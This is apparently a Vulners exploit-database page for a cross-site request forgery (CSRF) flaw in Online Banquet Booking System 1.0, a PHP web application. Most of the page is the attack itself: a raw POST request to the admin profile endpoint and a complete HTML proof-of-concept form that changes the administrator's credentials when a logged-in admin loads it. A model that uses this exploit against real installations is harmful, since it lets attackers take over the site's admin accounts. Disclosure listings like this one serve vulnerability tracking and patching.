Vulners
Lucene search
Online Banquet Booking System 1.0 Cross Site Request Forgery
`# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
# Description :
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can change admin credentials by using crafted post request.
# HTTPS Request :
POST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1
adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=
# Poc Html :
<html>
<!-- CSRF PoC - Saud -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/obbs/admin/admin-profile.php" method="POST">
<input type="hidden" name="adminname" value="Admin" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="mobilenumber" value="123" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Apr 2022 00:00Current
7.4High risk
Vulners AI Score7.4